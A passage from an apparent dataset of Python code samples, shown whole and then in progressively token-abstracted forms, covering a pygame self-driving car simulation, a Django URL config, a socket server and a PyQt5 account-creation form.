self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n <function token>\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n while pixel != WHITE_COLOR and length < 300:\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n else:\n length = length + 1\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n <function token>\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n\n def check_collision(self):\n \"\"\"Checks if one of the collision points of the car is a white pixel\n which if it is, means it got out of the track\"\"\"\n self.collided = False\n for point in self.collision_points:\n try:\n if self.game_map.get_at((int(point[0]), int(point[1]))\n ) == WHITE_COLOR:\n self.collided = True\n break\n except:\n self.collided = True\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n\n def get_reward(self):\n return self.distance / 50.0\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n <function token>\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n while pixel != WHITE_COLOR and length < 300:\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n else:\n length = length + 1\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n <function token>\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n\n def check_collision(self):\n \"\"\"Checks if one of the collision points of the car is a white pixel\n which if it is, means it got out of the track\"\"\"\n self.collided = False\n for point in self.collision_points:\n try:\n if self.game_map.get_at((int(point[0]), int(point[1]))\n ) == WHITE_COLOR:\n self.collided = True\n break\n except:\n self.collided = True\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n <function token>\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n <function token>\n\n def update_radar(self, degree):\n \"\"\"Updates the car radars and appends them to its list\"\"\"\n length = 0\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n while pixel != WHITE_COLOR and length < 300:\n try:\n pixel = self.game_map.get_at((x_len, y_len))\n except IndexError:\n pixel = WHITE_COLOR\n else:\n length = length + 1\n x_len = int(self.center[0] + math.cos(math.radians(360 - (self.\n angle + degree))) * length)\n y_len = int(self.center[1] + math.sin(math.radians(360 - (self.\n angle + degree))) * length)\n horizontal = math.pow(x_len - self.center[0], 2)\n vertical = math.pow(y_len - self.center[1], 2)\n distance = int(math.sqrt(horizontal + vertical))\n self.radars.append([(x_len, y_len), distance])\n <function token>\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n <function token>\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n <function token>\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n\n def draw(self, screen):\n \"\"\"Renders the car intro the screen\"\"\"\n screen.blit(self.rotate_surface, [self.x_pos, self.y_pos])\n self.draw_radar(screen)\n <function token>\n <function token>\n <function token>\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n <function token>\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n <function token>\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n <function token>\n <function token>\n <function token>\n <function token>\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n <function token>\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n <function token>\n\n def get_data(self):\n inputLayer = []\n for i in range(int(os.getenv('NUM_SENSORES'))):\n inputLayer.append(0)\n for i, radar in enumerate(self.radars):\n inputLayer[i] = int(radar[1] / 30)\n return inputLayer\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n\n def __init__(self, game_map):\n self.game_map = game_map\n self.surface = pg.image.load('red_car.png')\n self.surface = pg.transform.scale(self.surface, (CAR_WIDTH, CAR_HEIGHT)\n )\n self.rotate_surface = self.surface\n self.x_pos = 600\n self.y_pos = 655\n self.angle = 0\n self.speed = 7\n self.distance = 0\n self.collided = False\n self.collision_points = []\n self.radars = []\n self.center = [self.x_pos + 50, self.y_pos + 50]\n <function token>\n <function token>\n <function token>\n <function token>\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n <function token>\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def update_collision_points(self):\n \"\"\"Calls for calc_sides method in order to get the sides of the car\"\"\"\n self.collision_points = calc_sides(self.center, self.angle)\n <function token>\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def get_collided(self):\n \"\"\"Returns if the car has collided or not\"\"\"\n return self.collided\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<code token>\n\n\nclass Car(object):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<code token>\n<class token>\n" ]

[ "#! python3\n# minimum_cost_arborescence.py\n\nV, E, r = list(map(int, input().split(' ')))\n", "V, E, r = list(map(int, input().split(' ')))\n", "<assignment token>\n" ]

[ "import autocomplete_light\nautocomplete_light.autodiscover()\n\nfrom django.conf.urls import patterns, include\n\nurlpatterns = patterns(\n '',\n (r'^autocomplete/', include('autocomplete_light.urls')),\n)\n", "import autocomplete_light\nautocomplete_light.autodiscover()\nfrom django.conf.urls import patterns, include\nurlpatterns = patterns('', ('^autocomplete/', include(\n 'autocomplete_light.urls')))\n", "<import token>\nautocomplete_light.autodiscover()\n<import token>\nurlpatterns = patterns('', ('^autocomplete/', include(\n 'autocomplete_light.urls')))\n", "<import token>\nautocomplete_light.autodiscover()\n<import token>\n<assignment token>\n", "<import token>\n<code token>\n<import token>\n<assignment token>\n" ]

[ "# -*- coding: UTF-8 -*-\nimport Queue\nimport multiprocessing\nimport M6.Common.Protocol.Socket as Socket\nimport time\n\nfrom ServerConf import ServerConf\nfrom MoniterServer import MoniterServer\nfrom ManagerServer import ManagerServer\n\n__all__ = ['Server']\n\nclass Server():\n def __init__(self, server_port, monitor_port, daemon_process, param=None,\n max_process=3, process_time_out=-1, server_name=None):\n \"\"\"\n @param server_port: running server port\n @param monitor_port: process moniter port\n @param daemon_process: running process module\n @param param: parameter use at daemon_process\n @param max_process: number of simutaneously runing process\n @prarm process_time_out: number of process time out\n (process의 join parameter로 사용)\n < 0: (Default) when ending until\n = 0: not join\n > 0: wait time\n WARNING -todo...-\n @param server_name: monitmoniter에 표시할 server이름\n None: (Default) daemon_process에서 class이름을 확인하여 사용\n \"\"\"\n\n #Use ManagerServer\n self.daemon_process = daemon_process\n self.socket_queue = Queue.Queue()\n self.param = param\n\n #Use MoniterServer\n self.monitor_dic = multiprocessing.Manager().dict()\n\n if server_name is None:\n server_name = daemon_process.__name__\n\n #Setup Server Conf\n self.conf = ServerConf(server_port, monitor_port,\n server_name, max_process, process_time_out)\n\n def run(self):\n #start monitor\n if self.conf.get_monitor_port() != 0:\n monitor_server = MoniterServer(self.conf, self.monitor_dic, self.socket_queue)\n monitor_server.setDaemon(True)\n monitor_server.start()\n\n #start process manager\n manager_server = ManagerServer(self.conf, self.socket_queue, self.monitor_dic,\n self.daemon_process, self.param)\n manager_server.setDaemon(True)\n manager_server.start()\n\n self.sock = Socket.Socket()\n self.sock.Bind(self.conf.get_server_port())\n while True:\n client_sock = self.sock.Accept()\n if not client_sock:\n break\n\n print 'put', time.time()\n self.socket_queue.put(client_sock)\n\nif __name__ == '__main__':\n class Test():\n def __init__(self, socket, monitor, param):\n import os\n monitor.set_start_time('111111')\n monitor.set_pid(os.getpid())\n\n def run(self):\n import time\n time.sleep(5)\n pass\n\n #def __init__(self, server_port, monitor_port, daemon_process, param=None,\n # max_process=3, process_time_out=-1, server_name=None):\n Server(5001, 5002, Test, 'TestClass', \n 1, -1, None).run()\n" ]

[ "# -*- coding: utf-8 -*-\r\n\r\n# Form implementation generated from reading ui file 'createaccount.ui'\r\n#\r\n# Created by: PyQt5 UI code generator 5.14.1\r\n#\r\n# WARNING! All changes made in this file will be lost!\r\n\r\n\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\n\r\n\r\nclass Ui_createaccount(object):\r\n def setupUi(self, createaccount):\r\n createaccount.setObjectName(\"createaccount\")\r\n createaccount.resize(800, 600)\r\n self.centralwidget = QtWidgets.QWidget(createaccount)\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.verticalLayout = QtWidgets.QVBoxLayout(self.centralwidget)\r\n self.verticalLayout.setObjectName(\"verticalLayout\")\r\n self.widget_2 = QtWidgets.QWidget(self.centralwidget)\r\n self.widget_2.setStyleSheet(\"\")\r\n self.widget_2.setObjectName(\"widget_2\")\r\n self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.widget_2)\r\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\r\n self.widget_3 = QtWidgets.QWidget(self.widget_2)\r\n self.widget_3.setObjectName(\"widget_3\")\r\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.widget_3)\r\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\r\n self.userlabel = QtWidgets.QLabel(self.widget_3)\r\n font = QtGui.QFont()\r\n font.setFamily(\"微軟正黑體\")\r\n font.setPointSize(28)\r\n self.userlabel.setFont(font)\r\n self.userlabel.setObjectName(\"userlabel\")\r\n self.horizontalLayout.addWidget(self.userlabel)\r\n self.userlineEdit = QtWidgets.QLineEdit(self.widget_3)\r\n self.userlineEdit.setMinimumSize(QtCore.QSize(300, 30))\r\n font = QtGui.QFont()\r\n font.setPointSize(16)\r\n self.userlineEdit.setFont(font)\r\n self.userlineEdit.setStyleSheet(\"border-radius:15px;\")\r\n self.userlineEdit.setText(\"\")\r\n self.userlineEdit.setObjectName(\"userlineEdit\")\r\n self.horizontalLayout.addWidget(self.userlineEdit)\r\n self.verticalLayout_2.addWidget(self.widget_3, 0, QtCore.Qt.AlignHCenter)\r\n self.widget_4 = QtWidgets.QWidget(self.widget_2)\r\n self.widget_4.setObjectName(\"widget_4\")\r\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.widget_4)\r\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\r\n self.passwordlabel = QtWidgets.QLabel(self.widget_4)\r\n font = QtGui.QFont()\r\n font.setFamily(\"微軟正黑體\")\r\n font.setPointSize(28)\r\n self.passwordlabel.setFont(font)\r\n self.passwordlabel.setObjectName(\"passwordlabel\")\r\n self.horizontalLayout_2.addWidget(self.passwordlabel)\r\n self.passwordlineEdit = QtWidgets.QLineEdit(self.widget_4)\r\n self.passwordlineEdit.setMinimumSize(QtCore.QSize(300, 30))\r\n font = QtGui.QFont()\r\n font.setPointSize(16)\r\n self.passwordlineEdit.setFont(font)\r\n self.passwordlineEdit.setStyleSheet(\"border-radius:15px;\")\r\n self.passwordlineEdit.setEchoMode(QtWidgets.QLineEdit.Password)\r\n self.passwordlineEdit.setObjectName(\"passwordlineEdit\")\r\n self.horizontalLayout_2.addWidget(self.passwordlineEdit)\r\n self.verticalLayout_2.addWidget(self.widget_4, 0, QtCore.Qt.AlignHCenter)\r\n self.widget = QtWidgets.QWidget(self.widget_2)\r\n self.widget.setObjectName(\"widget\")\r\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.widget)\r\n self.horizontalLayout_3.setContentsMargins(-1, -1, 82, -1)\r\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\r\n self.confirmpasswordlabel = QtWidgets.QLabel(self.widget)\r\n font = QtGui.QFont()\r\n font.setFamily(\"微軟正黑體\")\r\n font.setPointSize(28)\r\n self.confirmpasswordlabel.setFont(font)\r\n self.confirmpasswordlabel.setObjectName(\"confirmpasswordlabel\")\r\n self.horizontalLayout_3.addWidget(self.confirmpasswordlabel)\r\n self.confirmpasswordlineEdit = QtWidgets.QLineEdit(self.widget)\r\n self.confirmpasswordlineEdit.setMinimumSize(QtCore.QSize(300, 30))\r\n font = QtGui.QFont()\r\n font.setPointSize(16)\r\n self.confirmpasswordlineEdit.setFont(font)\r\n self.confirmpasswordlineEdit.setStyleSheet(\"border-radius:15px;\")\r\n self.confirmpasswordlineEdit.setEchoMode(QtWidgets.QLineEdit.Password)\r\n self.confirmpasswordlineEdit.setObjectName(\"confirmpasswordlineEdit\")\r\n self.horizontalLayout_3.addWidget(self.confirmpasswordlineEdit)\r\n self.verticalLayout_2.addWidget(self.widget, 0, QtCore.Qt.AlignHCenter)\r\n self.verticalLayout.addWidget(self.widget_2)\r\n self.widget_5 = QtWidgets.QWidget(self.centralwidget)\r\n self.widget_5.setStyleSheet(\"color:rgb(255, 255, 255)\")\r\n self.widget_5.setObjectName(\"widget_5\")\r\n self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.widget_5)\r\n self.verticalLayout_3.setObjectName(\"verticalLayout_3\")\r\n self.confirmpushButton = QtWidgets.QPushButton(self.widget_5)\r\n self.confirmpushButton.setMinimumSize(QtCore.QSize(200, 60))\r\n font = QtGui.QFont()\r\n font.setPointSize(20)\r\n font.setBold(False)\r\n font.setItalic(False)\r\n font.setWeight(50)\r\n self.confirmpushButton.setFont(font)\r\n self.confirmpushButton.setStyleSheet(\"border-color: rgb(255, 255, 255);\\n\"\r\n\"background-color: rgb(255, 255, 255,100);\\n\"\r\n\"border-radius:15px;\\n\"\r\n\"font: 20pt;\")\r\n self.confirmpushButton.setObjectName(\"confirmpushButton\")\r\n self.verticalLayout_3.addWidget(self.confirmpushButton, 0, QtCore.Qt.AlignRight)\r\n self.cancelpushButton = QtWidgets.QPushButton(self.widget_5)\r\n self.cancelpushButton.setMinimumSize(QtCore.QSize(200, 60))\r\n font = QtGui.QFont()\r\n font.setPointSize(20)\r\n font.setBold(False)\r\n font.setItalic(False)\r\n font.setWeight(50)\r\n self.cancelpushButton.setFont(font)\r\n self.cancelpushButton.setStyleSheet(\"border-color: rgb(255, 255, 255);\\n\"\r\n\"background-color: rgb(255, 255, 255,100);\\n\"\r\n\"border-radius:15px;\\n\"\r\n\"font: 20pt;\")\r\n self.cancelpushButton.setObjectName(\"cancelpushButton\")\r\n self.verticalLayout_3.addWidget(self.cancelpushButton, 0, QtCore.Qt.AlignRight)\r\n self.verticalLayout.addWidget(self.widget_5)\r\n createaccount.setCentralWidget(self.centralwidget)\r\n self.menubar = QtWidgets.QMenuBar(createaccount)\r\n self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 21))\r\n self.menubar.setObjectName(\"menubar\")\r\n createaccount.setMenuBar(self.menubar)\r\n self.statusbar = QtWidgets.QStatusBar(createaccount)\r\n self.statusbar.setObjectName(\"statusbar\")\r\n createaccount.setStatusBar(self.statusbar)\r\n\r\n self.retranslateUi(createaccount)\r\n QtCore.QMetaObject.connectSlotsByName(createaccount)\r\n\r\n def retranslateUi(self, createaccount):\r\n _translate = QtCore.QCoreApplication.translate\r\n createaccount.setWindowTitle(_translate(\"createaccount\", \"MainWindow\"))\r\n self.userlabel.setText(_translate(\"createaccount\", \"<html><head/><body><p><span style=\\\" color:#ffffff;\\\">帳號:</span></p></body></html>\"))\r\n self.passwordlabel.setText(_translate(\"createaccount\", \"<html><head/><body><p><span style=\\\" color:#ffffff;\\\">密碼:</span></p></body></html>\"))\r\n self.confirmpasswordlabel.setText(_translate(\"createaccount\", \"<html><head/><body><p><span style=\\\" color:#ffffff;\\\">確認密碼:</span></p></body></html>\"))\r\n self.confirmpushButton.setText(_translate(\"createaccount\", \"確認\"))\r\n self.cancelpushButton.setText(_translate(\"createaccount\", \"取消\"))\r\n", "from PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_createaccount(object):\n\n def setupUi(self, createaccount):\n createaccount.setObjectName('createaccount')\n createaccount.resize(800, 600)\n self.centralwidget = QtWidgets.QWidget(createaccount)\n self.centralwidget.setObjectName('centralwidget')\n self.verticalLayout = QtWidgets.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName('verticalLayout')\n self.widget_2 = QtWidgets.QWidget(self.centralwidget)\n self.widget_2.setStyleSheet('')\n self.widget_2.setObjectName('widget_2')\n self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.widget_2)\n self.verticalLayout_2.setObjectName('verticalLayout_2')\n self.widget_3 = QtWidgets.QWidget(self.widget_2)\n self.widget_3.setObjectName('widget_3')\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.widget_3)\n self.horizontalLayout.setObjectName('horizontalLayout')\n self.userlabel = QtWidgets.QLabel(self.widget_3)\n font = QtGui.QFont()\n font.setFamily('微軟正黑體')\n font.setPointSize(28)\n self.userlabel.setFont(font)\n self.userlabel.setObjectName('userlabel')\n self.horizontalLayout.addWidget(self.userlabel)\n self.userlineEdit = QtWidgets.QLineEdit(self.widget_3)\n self.userlineEdit.setMinimumSize(QtCore.QSize(300, 30))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.userlineEdit.setFont(font)\n self.userlineEdit.setStyleSheet('border-radius:15px;')\n self.userlineEdit.setText('')\n self.userlineEdit.setObjectName('userlineEdit')\n self.horizontalLayout.addWidget(self.userlineEdit)\n self.verticalLayout_2.addWidget(self.widget_3, 0, QtCore.Qt.\n AlignHCenter)\n self.widget_4 = QtWidgets.QWidget(self.widget_2)\n self.widget_4.setObjectName('widget_4')\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.widget_4)\n self.horizontalLayout_2.setObjectName('horizontalLayout_2')\n self.passwordlabel = QtWidgets.QLabel(self.widget_4)\n font = QtGui.QFont()\n font.setFamily('微軟正黑體')\n font.setPointSize(28)\n self.passwordlabel.setFont(font)\n self.passwordlabel.setObjectName('passwordlabel')\n self.horizontalLayout_2.addWidget(self.passwordlabel)\n self.passwordlineEdit = QtWidgets.QLineEdit(self.widget_4)\n self.passwordlineEdit.setMinimumSize(QtCore.QSize(300, 30))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.passwordlineEdit.setFont(font)\n self.passwordlineEdit.setStyleSheet('border-radius:15px;')\n self.passwordlineEdit.setEchoMode(QtWidgets.QLineEdit.Password)\n self.passwordlineEdit.setObjectName('passwordlineEdit')\n self.horizontalLayout_2.addWidget(self.passwordlineEdit)\n self.verticalLayout_2.addWidget(self.widget_4, 0, QtCore.Qt.\n AlignHCenter)\n self.widget = QtWidgets.QWidget(self.widget_2)\n self.widget.setObjectName('widget')\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.widget)\n self.horizontalLayout_3.setContentsMargins(-1, -1, 82, -1)\n self.horizontalLayout_3.setObjectName('horizontalLayout_3')\n self.confirmpasswordlabel = QtWidgets.QLabel(self.widget)\n font = QtGui.QFont()\n font.setFamily('微軟正黑體')\n font.setPointSize(28)\n self.confirmpasswordlabel.setFont(font)\n self.confirmpasswordlabel.setObjectName('confirmpasswordlabel')\n self.horizontalLayout_3.addWidget(self.confirmpasswordlabel)\n self.confirmpasswordlineEdit = QtWidgets.QLineEdit(self.widget)\n self.confirmpasswordlineEdit.setMinimumSize(QtCore.QSize(300, 30))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.confirmpasswordlineEdit.setFont(font)\n self.confirmpasswordlineEdit.setStyleSheet('border-radius:15px;')\n self.confirmpasswordlineEdit.setEchoMode(QtWidgets.QLineEdit.Password)\n self.confirmpasswordlineEdit.setObjectName('confirmpasswordlineEdit')\n self.horizontalLayout_3.addWidget(self.confirmpasswordlineEdit)\n self.verticalLayout_2.addWidget(self.widget, 0, QtCore.Qt.AlignHCenter)\n self.verticalLayout.addWidget(self.widget_2)\n self.widget_5 = QtWidgets.QWidget(self.centralwidget)\n self.widget_5.setStyleSheet('color:rgb(255, 255, 255)')\n self.widget_5.setObjectName('widget_5')\n self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.widget_5)\n self.verticalLayout_3.setObjectName('verticalLayout_3')\n self.confirmpushButton = QtWidgets.QPushButton(self.widget_5)\n self.confirmpushButton.setMinimumSize(QtCore.QSize(200, 60))\n font = QtGui.QFont()\n font.setPointSize(20)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.confirmpushButton.setFont(font)\n self.confirmpushButton.setStyleSheet(\n \"\"\"border-color: rgb(255, 255, 255);\nbackground-color: rgb(255, 255, 255,100);\nborder-radius:15px;\nfont: 20pt;\"\"\"\n )\n self.confirmpushButton.setObjectName('confirmpushButton')\n self.verticalLayout_3.addWidget(self.confirmpushButton, 0, QtCore.\n Qt.AlignRight)\n self.cancelpushButton = QtWidgets.QPushButton(self.widget_5)\n self.cancelpushButton.setMinimumSize(QtCore.QSize(200, 60))\n font = QtGui.QFont()\n font.setPointSize(20)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.cancelpushButton.setFont(font)\n self.cancelpushButton.setStyleSheet(\n \"\"\"border-color: rgb(255, 255, 255);\nbackground-color: rgb(255, 255, 255,100);\nborder-radius:15px;\nfont: 20pt;\"\"\"\n )\n self.cancelpushButton.setObjectName('cancelpushButton')\n self.verticalLayout_3.addWidget(self.cancelpushButton, 0, QtCore.Qt\n .AlignRight)\n self.verticalLayout.addWidget(self.widget_5)\n createaccount.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(createaccount)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 21))\n self.menubar.setObjectName('menubar')\n createaccount.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(createaccount)\n self.statusbar.setObjectName('statusbar')\n createaccount.setStatusBar(self.statusbar)\n self.retranslateUi(createaccount)\n QtCore.QMetaObject.connectSlotsByName(createaccount)\n\n def retranslateUi(self, createaccount):\n _translate = QtCore.QCoreApplication.translate\n createaccount.setWindowTitle(_translate('createaccount', 'MainWindow'))\n self.userlabel.setText(_translate('createaccount',\n '<html><head/><body><p><span style=\" color:#ffffff;\">帳號:</span></p></body></html>'\n ))\n self.passwordlabel.setText(_translate('createaccount',\n '<html><head/><body><p><span style=\" color:#ffffff;\">密碼:</span></p></body></html>'\n ))\n self.confirmpasswordlabel.setText(_translate('createaccount',\n '<html><head/><body><p><span style=\" color:#ffffff;\">確認密碼:</span></p></body></html>'\n ))\n self.confirmpushButton.setText(_translate('createaccount', '確認'))\n self.cancelpushButton.setText(_translate('createaccount', '取消'))\n", "<import token>\n\n\nclass Ui_createaccount(object):\n\n def setupUi(self, createaccount):\n createaccount.setObjectName('createaccount')\n createaccount.resize(800, 600)\n self.centralwidget = QtWidgets.QWidget(createaccount)\n self.centralwidget.setObjectName('centralwidget')\n self.verticalLayout = QtWidgets.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName('verticalLayout')\n self.widget_2 = QtWidgets.QWidget(self.centralwidget)\n self.widget_2.setStyleSheet('')\n self.widget_2.setObjectName('widget_2')\n self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.widget_2)\n self.verticalLayout_2.setObjectName('verticalLayout_2')\n self.widget_3 = QtWidgets.QWidget(self.widget_2)\n self.widget_3.setObjectName('widget_3')\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.widget_3)\n self.horizontalLayout.setObjectName('horizontalLayout')\n self.userlabel = QtWidgets.QLabel(self.widget_3)\n font = QtGui.QFont()\n font.setFamily('微軟正黑體')\n font.setPointSize(28)\n self.userlabel.setFont(font)\n self.userlabel.setObjectName('userlabel')\n self.horizontalLayout.addWidget(self.userlabel)\n self.userlineEdit = QtWidgets.QLineEdit(self.widget_3)\n self.userlineEdit.setMinimumSize(QtCore.QSize(300, 30))\n font = QtGui.QFont()\n font.setPointSize(16)\n self.userlineEdit.setFont(font)\n self.userlineEdit.setStyleSheet('border-radius:15px;')\n self.userlineEdit.setText('')\n self.userlineEdit.setObjectName('userlineEdit')\n self.horizontalLayout.addWidget(self.userlineEdit)\n self.verticalLayout_2.addWidget(self.widget_3, 0, QtCore.Qt.\n AlignHCenter)\n self.widget_4 = QtWidgets.QWidget(self.widget_2)\n self.widget_4.setObjectName('widget_4')\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.widget_4)\n self.horizontalLayout_2.setObjectName('horizontalLayout_2')\n self.passwordlabel = QtWidgets.QLabel(self.widget_4)\n font = QtGui.QFont()\n font.setFamily('微軟正黑體')\n font.setPointSize(28)\n self.passwordlabel.setFont(font)\n self.passwordlabel.setObjectName('passwordlabel')\n self.horizontalLayout_2.addWidget(self.passwordlabel)\n self.passwordlineEdit = QtWidgets.QLineEdit(self.widget_4)\n self.passwordlineEdit.setMinimumSize(QtCore.QSize(300, 